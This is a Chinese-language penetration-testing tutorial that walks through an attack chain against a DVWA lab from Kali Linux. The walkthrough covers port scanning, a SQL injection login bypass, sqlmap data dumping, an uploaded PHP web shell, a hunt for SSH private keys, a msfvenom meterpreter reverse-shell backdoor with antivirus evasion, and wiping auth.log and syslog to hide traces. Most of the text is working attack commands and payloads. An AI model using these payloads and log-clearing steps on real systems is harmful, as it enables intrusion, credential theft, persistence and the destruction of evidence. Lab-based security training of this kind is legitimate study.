0x01 攻击者的视角:Kali Linux 的渗透测试价值
说到渗透测试操作系统,Kali Linux 几乎是每个红队成员和渗透测试工程师的首选工具箱。它不仅是一个操作系统,更是一套集成了数百种工具的攻击平台。但问题是,Kali Linux 的优势并不仅仅在于“工具多”,而是它能帮助攻击者在整个攻击链的各个阶段完成高效的自动化操作。
假设目标是某个企业的外部互联网暴露面,我们需要从信息收集开始,到最终的数据窃取完成整个攻击链。Kali 的工具链几乎可以覆盖每个环节,从子域名枚举、漏洞扫描到C2搭建和后门部署,几乎没有短板。接下来,我们通过一个真实漏洞案例深入研究如何利用 Kali Linux 从头到尾完成一次渗透测试。
---
0x02 环境搭建:实验室里的企业网络

为了模拟企业网络,我们将搭建一个小型的本地实验室,内容包括目标主机、漏洞服务和攻击者环境:

环境设计
- 攻击者主机:Kali Linux (2023.3)
- 配置网络为桥接模式,与目标主机处于同一网段。
- 目标主机:Ubuntu 20.04
- 搭建一个漏洞服务 DVWA (Damn Vulnerable Web Application),模拟真实的 Web 应用。
- 实验网络:虚拟化环境下的内网拓扑,使用 VirtualBox 或 VMware 创建两台虚拟机。
实验搭建步骤
安装 DVWA
- 在目标 Ubuntu 主机上运行以下命令安装 LAMP 环境:
<pre><code class="language-shell"> sudo apt update sudo apt install apache2 mysql-server php php-mysql sudo systemctl start apache2 sudo systemctl start mysql `
- 下载并部署 DVWA:
`shell git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa sudo chmod -R 755 /var/www/html/dvwa sudo chown -R www-data:www-data /var/www/html/dvwa `
- 配置数据库并启动 DVWA:
`shell sudo mysql -u root -e "CREATE DATABASE dvwa;" sudo mysql -u root -e "GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwauser'@'localhost' IDENTIFIED BY 'password';" echo "<?php \$db_password = 'password'; ?>" > /var/www/html/dvwa/config/config.inc.php `
准备 Kali 环境
- 更新 Kali 的工具列表:
`shell sudo apt update sudo apt install exploitdb metasploit-framework gobuster `
- 确保 Kali 主机可以访问目标机器的 IP 地址。例如,目标 IP 为
192.168.1.100。
---
0x03 攻击链起点:信息收集与枚举

在渗透测试中,信息收集和服务枚举是至关重要的起点。在 Kali Linux 中,我们可以利用工具如 nmap 和 gobuster 快速获取目标信息。
端口扫描
使用 nmap 对目标 IP 进行快速端口扫描,确定开放的服务和潜在漏洞:</code></pre>shell nmap -sS -A -p- 192.168.1.100 <pre><code> 输出结果分析: 假设扫描结果如下:</code></pre> 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 3306/tcp open mysql MySQL 5.7.31-0ubuntu0.18.04.1 <pre><code>我们可以看到目标暴露了三个服务:
- SSH:可能存在弱口令或配置问题。
- HTTP:可以通过 Web 漏洞利用。
- MySQL:数据库可能泄露敏感信息。
---
0x04 Web 攻击实战:从 SQL 注入到 RCE
在 Web 应用安全测试中,SQL 注入是常见的突破点。这里,我们通过 DVWA 的 SQL 注入漏洞获取管理员权限。
SQL 注入漏洞利用
- 打开目标 Web 应用(http://192.168.1.100/dvwa/),并登录到 DVWA。
- 将 DVWA 的安全级别设置为 "Low"。
手动利用
在登录页面中,输入以下用户名和密码:</code></pre> 用户名: admin' OR '1'='1 密码: 任意字符串 <pre><code> 如果可以绕过认证,则说明目标存在 SQL 注入漏洞。
自动化脚本攻击
我们可以使用 sqlmap 工具进行自动注入:</code></pre>shell sqlmap -u "http://192.168.1.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --dbs <pre><code> 结果分析: SQLMap 可能会列出所有可用的数据库及其表格。通过 --dump 选项我们还可以进一步导出敏感数据。
---

从 SQL 注入到 RCE
完成数据库枚举后,我们尝试通过文件写入功能直接获取 Web SHELL 权限。假设目标 Web 应用允许文件上传,我们可以尝试上传一个恶意的 PHP 脚本:
恶意 Payload
编写一个简单的 PHP WEB SHELL:</code></pre>php <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; system($_REQUEST['cmd']); echo "</pre>"; } ?> <pre><code> 保存为 shell.php 并上传到目标服务器,然后通过浏览器直接访问后门:</code></pre> http://192.168.1.100/dvwa/hackable/uploads/shell.php?cmd=whoami <pre><code> ---
0x05 横向移动:获取更高权限
假设当前我们已经通过 Web Shell 获取了初步权限。接下来,我们尝试利用已知漏洞进行提权操作。
本地提权:搜索漏洞
使用 searchsploit 检查目标的内核版本是否存在提权漏洞:</code></pre>shell uname -a searchsploit linux kernel 4.15 <pre><code> 假设我们发现了一个本地提权漏洞,可以使用 Exploit-DB 提供的 EXP 进行提权。
横向移动:内网渗透
假设目标服务器上还存储了其他服务器的 SSH 私钥,可以通过以下命令收集可能的敏感文件:</code></pre>shell find / -name "id_rsa" 2>/dev/null <pre><code> 如果找到私钥,导出并尝试在网络内其他主机上移动。
---
0x06 免杀和隐匿:如何避免被发现
攻击过程中,最重要的是保持隐匿性和持久性。以下是一些避免被发现的技巧:
Payload 免杀
使用 msfvenom 生成免杀的恶意载荷,通过多层加壳和混淆绕过杀毒软件:</code></pre>shell msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f elf > backdoor.elf <pre><code>
日志清理
在目标 Linux 主机上,清理可能暴露攻击痕迹的日志:</code></pre>shell echo "" > /var/log/auth.log echo "" > /var/log/syslog `
---
0x07 攻击总结与经验分享
- 信息收集是关键:精准的端口扫描和漏洞枚举决定了攻击的方向。
- 工具链搭配合理:Kali Linux 的工具虽然多,但过度依赖工具会降低灵活性。
- 保持隐匿性:日志清理和流量加密是防止被发现的基础。
这次攻防实验展示了从 Web 应用的 SQL 注入到最终权限提升的完整过程,在实际项目中,需根据目标环境灵活调整策略,结合定制化工具实现更高效的攻击效果。